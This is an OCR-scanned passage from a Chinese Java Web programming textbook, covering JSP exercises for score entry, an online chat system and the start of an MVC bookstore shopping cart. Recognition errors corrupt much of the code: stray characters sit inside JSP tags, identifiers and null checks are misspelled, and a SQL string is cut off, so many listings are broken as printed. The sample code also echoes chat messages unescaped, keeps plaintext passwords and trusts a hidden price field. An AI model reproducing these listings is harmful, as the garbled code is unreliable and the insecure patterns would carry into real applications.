另外 ,下 列 代码 中 的 让 请 句 是 为 了 保证 当 score 数组 中 的 某 些 元 素 为 空 字符 串 时 系统 
对 它们 不 作 处 理 。 


for(int i= 0;i< stuno. length; i++){ 


if(!score[i].equals("")){ 


@ 编写 scoreForm. jsp; 代 码 如 下 。 


ScoreForm. jsp 


<% @ page language = "java" import = "java. util. * " pageEncoding = "gb2312" %> 
<% @page import = "dao. ScoreDao" %> 
<% @page import = "vo. Score" %> 
<html> 
<body> 
<% 
String courseno = "001"; 
> 
输入 课程 编号 为 <%= courseno%> 的 所 有 学 生成 绩 
< form action = "scoreUpdate. jsp" method= "post"> 
< input name = "courseno" type = "hidden" value = "<%= courseno%>"> 
< input type = "submit" value = "提交 成 绩 "> 
<table> 
<tr bgcolor = "yellow"> 
<td> 学 号 </td> 
<td> 姓 名 </td> 
<td> 考 试 类 型 </td> 
<td> 分 数 </td> 
</tr> 
<% 


ScoreDao sdao = new ScoreDao( ); 
ArrayList scores = sdao. getAllScoresByCourseno( courseno); 
for(int i=0;i< scores. size();i++){ 
Score score = (Score)scores. get(i); 
%> 
<tr bgcolor = "pink"> 
<td><%= score. getStuno() %></td> 
<td><%= score. getStuname() %></td> 
<td><%= score. getTYpe() %></td> 
<td> 
<% if(score.getScorenumber() ==null){ 多 > 
< input name = "score" type= "text" size= "4"> 
< input name = "type" type = "hidden" value = "<%= score.getIVpe() %>"> 
< input name = "stuno" type = "hidden" value = "<%= score. getStuno( ) % >">| 
<%}else{ 
out. print( score. getScorenumber( )); 
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} %> 
</td> 
</tr> 

<% 
} 
第 > 
</table> 
</form> 
</body> 
</html > 


其 中 ,下 列 一 行 代码 ， 


< input name = "courseno" type= "hidden”value= "<%= courseno% >"> 


用 隐藏 表单 保存 了 课程 编号 。 


< 外 诗 (score. getScorenumber() == nul1){ %> 
< input name = "Score" type= "text" size= "4"> 
< input name = "type" type= "hidden" value = "<% = Score. getTYpe() %>"> 
< input name = "stuno" type = "hidden" value = "<$% = Score, getStuno( ) % >"> 
<% }elsef{ 
out. print(score. getScorenumber( )); 
} %> 


对 于 此 段 代 码 , 当 查询 的 分 数 为 空 (尚未 输入 ) 时 显示 文本 框 并 加 入 相应 的 隐藏 表单 元 
素 , 和 否则 将 分 数 直接 显示 为 文本 。 
@ 编写 scoreUpdate. jsp ,代码 如 下 。 


scoreUpdate. jsp 


< 外 四 page language = "java" import = "java. sql. * " pageEncoding = "gb2312" %> 
<% @page import = "dao. ScoreDao" %> 
<html> 
<body> 
<% 
request. setCharacterEncoding( "gb2312"); 
String courseno = request. getParameter("courseno"); 
String[ ] type = request. getParameterValues("type"); 
String[ ] stuno = request. getParameterValues("stuno"); 
String[ ] score = request. getParameterValues("score"); 
ScoreDao sdao = new ScoreDao( ); 
sdao. updateScores( courseno, type, stuno, score); 
第 > 
< jsp:forward page = "scoreForm. jsp"></jsp:forward> 
</body> 
</html > 


在 上 述 代码 中 ， 


String courseno = request. getParameter("courseno" ); 
String[ ] type = request. getParameterValues("type" ) 


280 
Java Web 程序 设计 (第 3 版 )- 微 课 视频 版 


String[ ] stuno = request. getParameterValues("stuno" ) ; 
String[ ] score = request. getParameterValues("score"); 


获得 前 一 个 页 面 传 过 来 的 courseno type 数组 .stuno 数组 和 score 数组 。 
(3) 运行 scoreForm. jsp, 就 可 以 得 到 本 节 案 例 需求 中 的 效果 。 该 项 目的 结构 如 图 17-13 
所 示 。 


“区 5173 


src 
4 由 dao 
国 ScoreDaojava 
4 出 vo 
b> 国 Scorejava 
» mh JRE System Library UC 
» Bh Java EE 5 Libraries 
4 BS WebRoot 
» BE META-INF 
» BE WEB-INF 
加 scoreFormjsp 
国 scoreUpdatejsp 


图 17-13 ”项目 结构 


17.2.4 思考 


本 系统 中 存在 下 列 一 些 问 题 。 
(1) 如 果 直 接 访问 scoreUpdate. jsp ,将 会 抛 出 异常 ,如 图 17-14 所 示 。 


HTTP Status 500 


[WB Exception report 
图 17-14 异常 
这 是 为 什么 呢 ? 如 何 避 免 这 个 问题 ?请 大 家 思考 。 
(2) 如 果 在 文本 框 内 输入 数字 以 外 的 其 他 信息 ,将 会 抛 出 异常 。 如 何 处 理 并 给 客户 一 
个 较 好 的 提示 ? 请 大 家 思考 ,并 查阅 相关 资料 。 


编程 实 训 3: 和 在线 交流 系统 


本 章 选 学 ,建议 学 时 : 2 
前 面 学 习 了 JSP 的 九 大 对 象 及 其 应 用 , 九 大 对 象 内 容 属 于 JSP 编程 中 的 核心 内 容 , 本 
章 将 利用 一 个 案例 对 这 些 内 容 进行 复习 。 


18.1 在 线 交流 系统 的 案例 需求 


在 本 章 中 将 制作 一 个 在 线 交 流 系统 ,让 学 生 可 以 在 网 页 上 互相 交流 学 习 心 得 。 该 系统 
由 两 个 界面 组 成 ,运行 系统 ,出 现 登 录 界 面 , 如 图 18-1 所 示 。 

在 这 个 界面 中 ,标题 为 " 龙 友 欢迎 登录 在 线 交 流 系 统 雄 友 ”; 在 界面 上 有 一 个 表单 ,可 以 
输入 用 户 的 账号 和 密码 ,如 果 输 入 错误 的 账号 和 密码 ,显示 如 图 18-2 所 示 。 


友 友 欢迎 登录 在 线 交 流 系统 友 友 


输入 账号 ， 
输入 密码 ， 匿 到 登录 失败 , 返回 登录 页 面 
图 18-1 显示 效果 1 图 18-2 显示 效果 2 


单 击 “ 返 回 登 录 页 面 "链接 ,返回 登录 界面 。 
如 果 输 入 正确 的 账号 和 密码 , 则 显示 聊天 界面 ,如 图 18-3 所 示 。 


欢迎 李 方 聊天 
输入 聊天 信息 ， 
退出 登录 
消息 当前 在 线 
于 We 
i 
李 方 上 线 啦 ! 


图 18-3 显示 效果 3 


在 界面 上 显示 了 对 登录 用 户 的 欢迎 信息 。 

在 该 界面 上 可 以 输入 聊天 信息 , 单 击 “ 发 送 ” 按 钮 ,可 以 将 信息 显示 在 所 有 已 经 登录 用 户 
的 界面 上 。 

在 界面 下 方 显示 的 是 聊天 信息 和 当前 在 线 的 用 户 。 
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在 界面 上 还 有 一 个 “退出 登录 ”链接 , 单 击 该 链接 则 退出 登录 ,到达 登 录 界 面 。 例 如 李 方 
单 击 “退出 登录 ”链接 ,在 其 他 用 户 界 面 上 的 显示 如 图 18-4 所 示 。 人 

其 中 显示 了 用 户 下 线 的 信息 ,界面 上 的 在 线 用 户 名 单 也 会 进行 和 
刷新 。 图 18-4 显示 效果 4 


18.2 系统 分 析 


18.2.1 页 面 结 构 


在 这 个 项 目 中 需要 用 到 两 个 界面 , 即 登 录 界 面 和 聊天 界面 ,那么 需要 编写 的 JSP 文件 
有 几 个 呢 ? 

一 种 想法 认为 ,需要 编写 两 个 JSP, 分 别 显示 登录 界面 和 聊天 界面 。 这 种 方法 比较 直 
观 , 但 是 可 维护 性 较 差 ,每 个 功能 的 界面 和 动作 都 放 在 一 个 JSP 中 ,如 果 作 细微 的 修改 , 则 
比较 麻烦 ,也 不 利于 开发 上 的 分 工 。 

因此 本 节 建 议 采用 如 下 方法 ,即将 界面 显示 和 动作 处 理 分 开 。 

在 本 项 目 中 有 3 个 动作 ,分 别 如 下 。 

(1) 登录 。 

为 该 动作 设计 一 个 输入 页 面 loginForm. jsp, 显示 登录 表单 ; 该 表单 提交 给 
loginAction. jsp, 负 责 接 受 参数 ,处 理 登录 请 求 。 

如 果 登 录 失 败 , 显 示 失 败 信 息 ; 如 果 登 录 成 功 , 跳 转 到 聊天 界面 。 

(2) 聊天 。 

为 该 动作 设计 一 个 输入 页 面 chatForm. jsp, 显示 聊天 界面 表单 ; 该 表单 提交 给 
chatAction. jsp; 负 责 接受 聊天 信息 ,处 理 聊 天 请 求 。 

请 求 完毕 后 跳 转 到 chatForm. jsp。 

在 chatForm. jsp 中 ,消息 内 容 和 在 线 名 单 可 以 另外 编写 JSP, 通 过 iframe 嵌入 。 

(3) 退出 登录 。 

为 该 动作 设计 一 个 JSP 一 一 logoutAction. jsp, 负责 清空 用 户 的 登录 状态 , 跳 转 到 
loginForm. jsp。 

各 页 面 的 命名 和 作用 如 表 18-1 所 示 。 

表 18-1 各 模块 的 定义 


页 面 作 用 

loginForm. jsp 显示 登录 界面 ,提交 到 loginAction. jsp 

loginForm. jsp 和 loginAction. jsp | loginAction. jsp 验证 登录 是 否 成 功 

若 成 功 则 跳 转 到 chatForm. jsp 

chatForm. jsp 显示 聊天 界面 ,提交 到 chatAction. jsp 

chatForm. jsp 和 chatAction. jsp chatAction. jsp 获取 消息 内 容 

处 理 消 息 后 跳 转 到 chatForm. jsp 

显示 所 有 用 户 的 聊天 信息 ,显示 在 线 名 单 

该 页 面 每 隔 一 段 时 间 自 动 刷 新 ,以 iframe 形式 嵌入 chatForm. jsp 
logoutAction. jsp 负责 处 理 退 出 登录 的 操作 


msgs. jsp 
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18.2.2 状态 保存 


如 何 能 够 保证 消息 内 容 和 在 线 名 单 能 被 所 有 用 户 页 面 显 示 ? 

结合 前 面 学 习 的 内 容 , 很 显然 ,让 消息 内 容 和 在 线 名 单 保存 在 application 对 象 内 。 

每 次 有 用 户 上 线 ,就 向 application 内 的 在 线 名 单 内 添加 该 用 户 的 上 线 消息 ; 每 次 有 用 
户 下 线 , 就 从 application 内 的 在 线 名 单 内 移 除 该 用 户 的 上 线 消息 。 

用 户 提 交 信 息 ,就 向 application 内 的 消息 集合 内 添加 该 用 户 提交 的 消息 。 

当然 ,对 于 同一 个 用 户 来 说 ,登录 成 功 之 后 用 户 信息 应 该 保存 在 session 内 。 

msgs. jsp 需要 定时 刷新 ,以 便 即 时 获取 application 对 象 中 的 内 容 , 更 新 页 面 。 


18.3 开发 过 程 


18.3.1 准备 数据 


此 处 使 用 Access 数据 库 。 数 据 库 的 配置 方法 在 前 面 的 章节 已 有 叙述 ,请 读者 参考 第 6 
章 。 很 明显 ,在 本 项 目 中 只 需要 一 个 数据 表 , 包 含 账号 、 密 码 和 用 户 姓名 。 
创建 表 的 脚本 如 下 。 


CREATE TABLE T_CUSTOMER( 
ACCOUNT varchar( 40), 
PASSWORD varchar( 40), 
CNAME varchar(40) 
) 


插入 一 些 数据 。 
18.3.2 编写 DAO 和 VO 


在 本 项 目 中 ,应 该 在 DAO 中 验证 用 户 的 合法 身份 ,用 户 的 信息 用 VO 封装 。 
DAO 的 源 代码 如 CustomerDao. java 所 示 。 


CustomerDao. java 


package dao; 


import java. sql. Connection; 

import java. sql. DriverManager; 
import java. sql. PreparedStatement; 
import java. sql. ResultSet; 

import vo. Customer; 


public class CustomerDao { 
private Connection conn= null; 
public void initConnection() throws Exception { 
Class. forName( "sun. jdbc. odbc. JdbcOdbcDriver" ); 
conn = DriverManager. getConnection("jdbc:odbc:DSSchool", "", ""); 
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4 
// 根 据 账号 查询 Customer 对 象 
public Customer getCustomerBYRccount(String account) throws Exception { 
Customer cus = null; 
initConnection(); 
String sql = 
"SELECT ACCOUNT, PASSWORD, CNAME FROM T_CUSTOMER WHERE ACCOUNT = 
PreparedStatement ps = conn. prepareStatement(sql); 
ps. setString(1, account); 
ResultSet rs = ps. executeQuery( ); 
if(rs.next()){ 
cus = new Customer( ); 
cus. setRccount(rs. getString("RCCOUNT" ) ) ; 
Cus. setPassword(rs. getString("PASSWORD" ) ) ; 
cus. setCname(rs. getString("CNRME" ) ) ; 


} 
closeConnection( ); 
return cus; 
L 
public void closeConnection() throws Exception { 
conn. close(); 


VO 的 源 代码 如 Customer. java 所 示 。 


Customer. java 


package vo; 
public class Customer { 

private String account; 

private String password; 

private String cname; 

public String getAccount() { 
return account; 

} 

public void setAccount (String account) { 
this. account = account; 

} 

public String getPassword() { 
return password; 

} 

public void setPassword(String password) { 
this. password = password; 

} 

public String getCname() { 
return cname; 

人 

public void setCname(String cname) { 
this. cname = cname; 
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18.3.3 编写 loginForm.jsp 和 loginAction. jsp 


对 于 登录 操作 来 说 ,需要 有 两 个 页 面 一 一 loginForm. jsp 和 loginAction. jsp。 
loginForm. jsp 的 代码 如 下 。 


loginForm. jsp 
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<% @ page language = "java" import = "java. util. * " pageEncoding = "gb2312" %> 
<html> 
<body> 
<% 
/* 初始 化 applicationx*/ 
ArrayList customers = (ArrayList)application. getAttribute( "customers"); 
(customers==null) { 
customers = new ArrayList(); 
application. setAttribute("customers", customers); 


ArrayList msgs = (ArrayList)application. getAttribute( "msgs"); 
if(msgs == null){ 
msgs = new ArrayList(); 
application. setAttribute("msgs", msgs); 
l 
%> 
克 太 欢迎 登录 在 线 交 流 系统 友 克 
< form action = "loginAction. jsp" name = "forml" method = "post"> 
输入 账号 : < input name = "account" type = "text">< br > 
输入 密码 : < input name = "password" type = "password"> 
< input type= "submit" value= "登录 " > 
</form> 
</body> 
</html > 


if 


loginAction. jsp 的 代码 如 下 。 


loginAction. jsp 


<% @ page language = "java" import = "java. util. * " pageEncoding = "gb2312" %> 
< 和 @page import = "dao. CustomerDao" %> 
<% @page import = "vo. Customer" %> 
<html> 
<body> 
<S% 
request. setCharacterEncoding( "gb2312"); 
String account = request. getParameter("account" ); 
String password = request. getParameter("password" ); 


CustomerDao cdao = new CustomerDao( ); 
Customer customer = cdao. getCustomerByAccount (account); 
if(customer == null | !customer. getPassword().equals(password)){ 
第 > 
登录 失败 ,<a href = "loginForm. jsp"> 返 回 登录 页 面 </a> 
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< 名 
} 
else{ 
session. setAttribute( "customer", customer); 
ArrayList customers = (ArrayList)application. getAttribute( "customers"); 
ArrayList msgs = (ArrayList)application. getAttribute("msgs"); 
customers. add( customer); 
msgs.add(customer. getCname() + "上 线 啦 !1"); 
response. sendRedirect("chatForm. jsp"); 
} 
%> 
</body> 
</html > 


18.3.4 编写 chatForm. jsp 和 chatAction. jsp 


对 于 聊天 操作 来 说 ,需要 有 两 个 页 面 一 一 chatForm. jsp 和 chatAction. jsp。 
chatForm. jsp 的 代码 如 下 。 


chatForm. jsp 


<% @ page language = "java" pageEncoding = "gb2312" %> 
<% @page import = "vo. Customer" %> 
<html> 
<body> 
< 和 
Customer customer = (Customer)session. getAttribute( "customer"); 
%> 
欢迎 <% = customer. getCname( ) $% > 聊天 <br> 
< form action= "chatAction. jsp" name = "forml" method= "post"> 
输入 聊天 信息 : < input name = "msg" type = "text" size = "40"> 
< input type= "submit" value= "发 送 " > 
</form> 
<a href = "logoutAction. jsp"> 退 出 登录 </a> 
<hr> 
< iframe src = "msgs. jsp" width= "100% ”height = "80%" frameborder = "0"></iframe> 
</body> 
</html > 


其 中 : 


< iframe src = "msgs. jsp" width= "100%" height = "80%" frameborder = "0"></iframe> 


使 用 iframe 租 入 了 msgs. jsp。 
chatAction. jsp 的 代码 如 下 。 


chatAction. jsp 


<% @ page language = "java" import = "java. util. *" pageEncoding = "gb2312" %> 
<% @page import = "vo.Customer" %> 
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< html > 
< body> 
< 和 
Customer customer = (Customer) session. getRttribute("customer") ; 
request. setCharacterEncoding( "gb2312" ); 
String msg = request. getParameter( "msg"); 
ArrayList msgs = (ArrayList)application. getAttribute( "msgs"); 
if(msg!= null && !msg. equals("")){ 
msgs. add(customer. getCname() + "说 :" + msg); 
} 
response. sendRedirect ("chatForm. jsp"); 
多 > 
</body> 
</html > 


18.3.5 编写 msgs.jsp 
这 里 编写 msgs. jsp, 该 页 面 定 时 显示 聊天 信息 和 在 线 名 单 , 代 码 如 下 。 


msgs. jsp 


<% @ page language = "java" import = "java. util, *" pageEncoding = "gb2312" %> 
<% @page import = "vo. Customer" %> 
<html> 
<body> 
< 和 
response. setHeader("Refresh","10"); 
%> 
<table width= "80 % " border = "0" align = "center"> 
<tr bgcolor = "yellow" align= "center"> 
<td width= "75% "> 消息 </td> 
<td width= "25% "> 当前 在 线 </td> 
</tr> 
<tr bgcolor = "pink"> 
<td><% 
ArrayList msgs = (ArrayList)application. getAttribute("msgs"); 
for(int i= msgs. size()—1;i>=0;i--){ 
out. println(msgs. get(i) + "<br>"); 
} 
%></td> 
<td valign= "top"><% 
ArrayList customers = (ArrayList)application. getAttribute("customers" ); 
for(int i= customers. size() —1;i>=0;i-— ){ 
Customer customer = (Customer)customers. get(i); 
out. println(customer. getAccount() + "(" + customer. getCname() + ")" + "<br>"); 
} 
$%></td> 
</tr> 
</table> 
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</body> 
</html > 


在 上 述 代码 中 ， 


response. setHeader( "Refresh", "10"); 


表示 该 页 面 每 隔 10 秒 刷 新 1 次 。 
18.3.6 编写 logoutAction. jsp 
“退出 登录 ”链接 到 logoutAction. jsp, 代 码 如 下 。 


logoutAction. jsp 


<% @ page language = "java" import = "java. util. *" pageEncoding = "gb2312" %> 
<% @page import = "vo. Customer" %> 
<html> 
<body> 
< 和 
Customer customer = (Customer) session. getAttribute("customer"); 
ArrayList customers = (ArrayList)application. getAttribute("customers"); 
customers, remove( customer); 
ArrayList msgs = (ArrayList)application. getAttribute("msgs"); 
msgs.add(customer. getCname() + "下 线 啦 !"); 
session. invalidate( ); 
response. sendRedirect ("loginForm. jsp" ); 
%> 
</body> 
</html > 


编写 完毕 ,该 项 目的 结构 如 图 18-5 所 示 。 
“区 上 5 到 


4 下 src 
4 出 dao 
by 国 CustomerDaojava 
4 击 vo 
b 国 Customerjava 
» Bh JRE System Library UDK6] 
» Bi Java EE 5 Libraries 
4 扎 WebRoot 
» EE META-INF 
» EE WEB-INF 
园 chatActionjsp 
= chatFormjsp 
遂 loginActionjsp 
园 loginFormjsp 
遂 logoutActionjsp 
名 msgsjsp 


图 18-5 项 目 结构 
访问 loginForm. jsp, 就 可 以 得 到 相应 效果 。 
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特别 提醒 : 该 项 目 在 测试 时 不 要 在 一 台 客户 端 上 登录 多 个 用 户 , 需 要 使 用 不 同 的 计算 
机 进行 测试 ,否则 会 遇 到 不 正常 的 情况 。 


18.4 思考 题 : 如 何 进行 session 检查 


本 项 目 遇 到 的 一 个 重要 问题 是 session 检查 ,session 检查 包含 以 下 两 个 方面 的 意思 。 

(1) 未 登录 的 用 户 不 能 访问 受 限 页 面 。 

在 本 项 目 中 ,如 果 客 户 未 登录 ,不 访问 loginForm. jsp, 而 访问 chatForm. jsp, 效 果 如 
图 18-6 所 示 , 抛 出 异常 。 在 正常 情况 下 ,应 该 自动 跳 转 到 登录 页 面 。 

(2) 已 登录 的 用 户 不 能 访问 登录 页 面 。 

在 本 项 目 中 ,如 果 客 户 已 经 登录 ,直接 访问 loginForm. jsp, 效 果 如 图 18-7 所 示 。 


HTTP Status 500 女友 欢迎 登录 在 线 交 流 系统 友 友 

和 输入 账号 | 

国 红 Exception report 输入 密码 : 本 J] 
18-6 异常 图 18-7 显示 效果 


这 也 是 不 正常 的 。 在 正常 情况 下 ,应 该 自动 跳 转 到 登录 成 功 之 后 的 页 面 chatForm. jsp。 
如 何 解 决 这 些 问 题 呢 ?请 大 家 思考 。 


编程 实 训 4: 购物 系统 


本 章 选 学 ,建议 学 时 : 4 
前 面 学 习 了 Servlet 编程 ,以 及 过 滤器 和 监听 器 ,这 些 内 容 属于 Java Web 编程 中 深层 次 
的 内 容 ,本 章 将 利用 一 个 案例 对 这 些 内 容 进行 复习 。 


19.1 购物 车 案例 需求 


本 章 将 基于 MVC 模式 制作 一 个 购物 程序 ,让 学 生 可 以 在 网 页 上 订购 教材 。 该 系统 由 
3 个 界面 组 成 ,运行 系统 ,出 现 显示 所 有 书本 的 界面 ,如 图 19-1 所 示 。 

在 这 个 界面 中 ,标题 为 “欢迎 选 购 图 书 ”; 界面 上 显示 了 所 有 的 图 书 和 价格 ,在 每 种 图 书 
后 面 有 一 个 “购买 "链接 。 

单 击 “ 购 买 ”链接 ,能 够 显示 购买 界面 。 

图 19-2 所 示 为 单 击 Java 后 面 的 “购买 "链接 显示 的 界面 ,其 中 数量 是 手工 输入 的 。 

在 该 界面 中 输入 购买 数量 ,提交 ,能 够 将 该 种 图 书 存 人 购物 车 。 在 存 人 之 后 可 以 显示 购 
物 车 中 的 所 有 内 容 , 如 图 19-3 所 示 。 


欢迎 选 购 图 书 
是 本 名 称 ” 昌 本 价格 购买 欢迎 购买 ，Java 
ee 本 价格 :39.0 
和 二 到 居于 和 56.0 欧 习 人 
天 学 六 学 ”到 .0 ”网 严 
眠 作 系统 [46.0 了 殴 尼 图 19-2 显示 效果 2 
理 方法 “8.0 ”网 买 

分 30.0 ”项 尼 
离散 数学 52.0 ”网 顽 
C++ 56.0 大 尼 帅 本 名 称 书本 价格 数量 删除 
Jaa 30 
珊 械 设计 26.0 ， 砍 有 现金 品 额 :195.0 
查看 购物 车 继续 买书 

图 19-1 显示 效果 1 19-3 ”显示 效果 3 


在 每 种 图 书后 面 有 一 个 “删除 ”链接 , 单 击 该 链接 ,能 够 将 相应 内 容 从 购物 车 中 删除 。 
另外 , 单 击 “ 继 续 买 书 ” 链 接 能 够 重新 到 达 显 示 所 有 书本 的 页 面 。 
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19.2 系统 分 析 


本 项 目 中 的 功能 比较 复杂 ,但 是 使 用 MVC 可 以 让 分 析 简 化 很 多 。 


19.2.1 提取 系统 中 的 动作 和 视图 


比较 科学 的 方法 是 首先 提取 系统 中 的 动作 和 视图 。 
本 系统 中 的 动作 有 如 下 3 个。 

(1) 查询 所 有 图 书 。 

(2) 买书 。 

(3) 从 购物 车 中 删除 图 书 。 

本 系统 中 的 视图 有 如 下 3 个 。 

(1) 显示 所 有 图 书 界面 。 

(2) 买书 界面 。 

(3) 显示 购物 车 界面 。 


19.2.2 设计 动作 和 视图 


一 般 情况 下 ,在 MVC 中 将 动作 设计 为 Servlet ,将 视图 设计 为 JSP。 
因此 ,本 项 目 中 Servlet 和 JSP 的 清单 如 表 19-1 所 示 。 
表 19-1 Servlet 和 JSP 的 定义 


名 称 作 用 
InitServlet. java 查询 所 有 图 书 , 跳 转 到 showAllBook. jsp 
showAllBook. jsp 显示 所 有 图 书 
buyForm. jsp 显示 买书 界面 
AddServlet. java 将 购买 的 图 书 存 人 购物 车 , 跳 转 到 showCart. jsp 
showCart. jsp 显示 购物 车 中 的 所 有 内 容 
RemoveServlet. java 从 购物 车 中 删除 某 种 图 书 ,并 跳 转 到 showCart. jsp 


19.2.3 设计 DAO 和 VO 


很 明显 ,在 本 例 中 只 需要 一 个 DAO, 负 责 查 询 图 书 ; 只 需要 一 个 VO, 负 责 封装 某 一 种 
图 书 的 信息 。 
值得 一 提 的 是 ,购物 车 中 的 内 容 并 不 需要 保存 在 数据 库 中 。 


19.2.4 设计 数据 结构 和 其 他 模块 


在 本 例 中 主要 的 数据 结构 是 购物 车 。 

很 明显 ,购物 车 中 的 图 书 应 该 用 集合 来 存储 。 但 是 ,购物 车 中 的 图 书 需要 进行 比较 方便 
地 删除 和 访问 ,为 了 快速 地 对 图 书 进行 定位 ,此 处 不 用 普通 的 List 来 保存 图 书 , 而 用 
HashMap 来 保存 图 书 。 
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由 于 HashMap 是 以 key-value 的 形式 保存 数据 的 ,这样 将 某 种 图 书 的 key 值 设置 为 该 
图 书 的 编号 ,在 访问 时 就 可 以 直接 通过 key 值 定位 。 

另外 ,本 例 希 望 客户 访问 网 站 时 购物 车 就 进行 初始 化 :因此 需要 设计 一 个 监听 器 来 完成 
该 功能 。 

因此 ,最 终 的 项 目 结构 如 图 19-4 所 示 。 


“区 上 19 
4 名 src 
4 让 dao 
”加 BookDaojava 
4 遍 listener 
b> 网 SessionUistenerjava 
4 出 serviet 
园 Addservletjava 
》 国 Initservletjava 
”加 RemoveServletjava 
4 出 vo 
》 国 Bookjava 
bp mh JRE System Library DDK6] 
b Bi Java EE 5 Libraries 
4 仿 WebRoot 
bP BB META-INF 
b EB WEB-INF 
四 buyFormjsp 
园 showAllBookjsp 
轩 showCartjsp 


图 19-4 项 目 结构 


19.3 开发 过 程 


19.3.1 准备 数据 


此 处 使 用 Access 数据 库 。 数 据 库 的 配置 方法 在 前 面 的 章节 已 有 叙述 ,请 读者 参考 第 6 
章 。 很 明显 ,在 本 项 目 中 只 需要 一 个 数据 表 , 包 含 图 书 编号 .图书 名 称 和 图 书 价格 。 
创建 表 的 脚本 如 下 。 


CREATE TABLE T_BOOK( 
BOOKNO varchar( 40), 
BOOKNAME varchar(40), 
BOOKPRICE float 
) 


插入 一 些 数据 。 
19.3.2 编写 DAO 和 VO 


在 本 项 目 中 ,应 该 在 DAO 中 验证 用 户 的 合法 身份 ,用户 的 信息 用 VO 封装 。 
DAO 的 源 代码 如 BookDao. java 所 示 。 
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BookDao. java 
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package dao; 


import java. sql. Connection; 
import java. sql. DriverManager; 
import java. sql. ResultSet; 
import java. sql. Statement; 
import java. util. HashMap; 
import vo. Book; 


public class BookDao { 
private Connection conn = null; 
public HashMap getAllBook() throws Exception{ 
HashMap hm = new HashMap( ); 
this. initConnection(); 
Statement stat = conn. createStatement( ); 
String sql = 
"SELECT BOOKNO, BOOKNAME, BOOKPRICE FROM T_ BOOK"; 
ResultSet rs = stat. executeQuery( sql); 
while(rs. next()){ 
Book book = new Book( ); 
book = new Book( ); 
book. setBookno(rs. getString("bookno")); 
book. setBookname(rs. getString("bookname" )); 
book. setBookprice(rs. getFloat ("bookprice" )); 
hm. put (book. getBookno( ) ,book) ; 
this. closeConnection( ); 
return hm; 
public void initConnection() throws Exception{ 
Class. forName(" sun. jdbc. odbc. JdbcOdbcDriver" ); 
conn = DriverManager. getConnection("jdbc:odbc:DSSchool", "", ""); 
. 
public void closeConnection() throws Exception{ 
conn. close(); 


VO 的 源 代码 如 Book. java 所 示 。 


Book. java 


package vo; 


public class Book { 
private String bookno; 
private String bookname; 
private float bookprice; 
private int booknumber; 
public String getBookno() { 
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return bookno; 

} 

public void setBookno( String bookno) { 
this. bookno = bookno; 

} 

public String getBookname() { 
return bookname; 

; 

public void setBookname(String bookname) { 
this. bookname = bookname; 

} 

public float getBookprice() { 
return bookprice; 

} 

public void setBookprice(float bookprice) { 
this,. bookprice = bookprice; 

} 

public int getBooknumber() { 
return booknumber; 

小 

public void setBooknumber( int booknumber) { 
this. booknumber = booknumber; 


19.3.3 编写 SessionListener. java 
SessionListener 是 一 个 监听 器 ,负责 对 session 的 内 容 进 行 初始 化 ,代码 如 下 。 


SessionListener. java 


package listener; 


import java. util. HashMap; 

import javax. servlet. http. HttpSession; 

import javax. servlet. http. HttpSessionEvent; 
import javax. servlet. http. HttpSessionListener; 


public class SessionListener implements HttpSessionListener{ 
public void sessionCreated(HttpSessionEvent event) { 
HttpSession session = event. getSession( ); 
// 初 始 化 购物 车 
HashMap books = new HashMap( ); 
session. setAttribute("books", books); 
// 初 始 化 总 钱 数 
session. setAttribute( "money", OF); 
} 
public void sessionDestroyed(HttpSessionEvent arg0) {} 


配置 过 程 略 。 
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19.3.4 编写 InitServlet. java 和 showAllBook. jsp 


用 户 首先 访问 的 是 InitServlet ,负责 查询 所 有 图 书 , 然 后 跳 转 到 showAllBook. jsp。 
InitServlet. java 的 代码 如 下 。 


InitServlet. java 


package servlet; 


import java. io. IOException; 

import java. util. HashMap; 

import javax. servlet. ServletException; 

import javax. servlet. http. HttpServlet; 

import javax. servlet. http. HttpServletRequest; 
import javax. servlet. http. HttpServletResponse; 
import dao. BookDao; 


public class InitServlet extends HttpServlet { 


public void doGet (HttpServletRequest request, HttpServletResponse response) 

throws ServletException, IOException { 

BookDao bdao = new BookDao( ); 

HashMap allbook = null; 

try { 
allbook = bdao. getAllBook( ); 

} catch (Exception e) { 
e. printStackTrace( ); 

} 

request. getSession(). setAttribute("allbook", allbook); 

response. sendRedirect("/Prj19/showAllBook. jsp"); 


其 中 : 


request. getSession( ) . setAttribute("allbook", allbook); 
response. sendRedirect("/Prj19/showAllBook. jsp"); 


表示 将 查询 结果 存 入 session ,并 跳 转 到 showAllBook. jsp。 
showAllBook. jsp 的 代码 如 下 。 


showAllBook. jsp 


<% @ page language = "java" import = "java. util. *" pageEncoding = "gb2312" %> 
<% @page import = "vo. Book" % > 
<html> 
<body> 
欢迎 选 购 图 书 < br > 
<% 
HashMap allbook = (HashMap) session. getAttribute("allbook" ); 
和 > 
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<table border = "1"> 
<tr bgcolor = "pink"> 
<td> 书 本 名 称 </td> 
<td> 书 本 价格 </td> 
<td> 购 买 </td> 
</tr> 
< 和 
Set set = allbook. keySet(); 
Iterator ite = set. iterator(); 
while( ite. hasNext()){ 
String bookno = (String) ite.next(); 
Book book = (Book)allbook. get(bookno) ; 


第 > 
< tr bgcolor = "yellow"> 
<td><%= book. getBookname( ) %></td> 
<td><%= book. getBookprice() %></td> 
<td><a href = "buyForm. jsp?bookno =<%= bookno% >"> 购 买 </a></td> 
</tr> 
<%} %> 
</table> 
<a href = "showCart. jsp"> 查 看 购物 车 </a> 
</body> 
</html > 
其 中 ， 


<td><a href = "buyForm. jsp?bookno = <$% = bookno %>"> 购 买 </a></td> 


表示 单 击 “购买 ”链接 , 当 连 接 到 buyForm. jsp 时 也 给 其 传 一 个 参数 。 
19.3.5 编写 buyForm. jsp 和 AddServlet. java 
buyForm. jsp 负责 显示 买书 表单 .代码 如 下 。 


buyForm. jsp 


<% @ page language = "java" import = "java. util. * " pageEncoding = "gb2312" %> 
<% @page import = "vo. Book" %> 
<html> 
<body> 
<% 
String bookno = request. getParameter("bookno" ); 
HashMap allbook = (HashMap) session. getAttribute("allbook" ); 
Book book = (Book)allbook. get (bookno); 
%> 
欢迎 购买 : <% = book. getBookname() 和 > 
< form action = "/Prjl9/servlet/AddServlet" method = "post"> 
书本 价格 :< 当 = book. getBookprice() %><br> 
< input name = "bookno" type = "hidden” value = "<%= book. getBookno( ) %>"> 
< input name = "bookname" type = "hidden" 
value = "< 外 = book. getBookname( ) %>"> 


第 19 章 ”编程 实 训 4: 购物 系统 


297 


< input name = "bookprice" type = "hidden" 
Value = "<$%= book. getBookprice( ) %>"> 
数量 : 
< input name = "booknumber" type = "text"> 
< input type = "submit" value = "购买 "> 
</form> 
</body> 
</html > 


其 中 ， 


< form action = "/Prj19/servlet/AddServlet" method= "post"> 
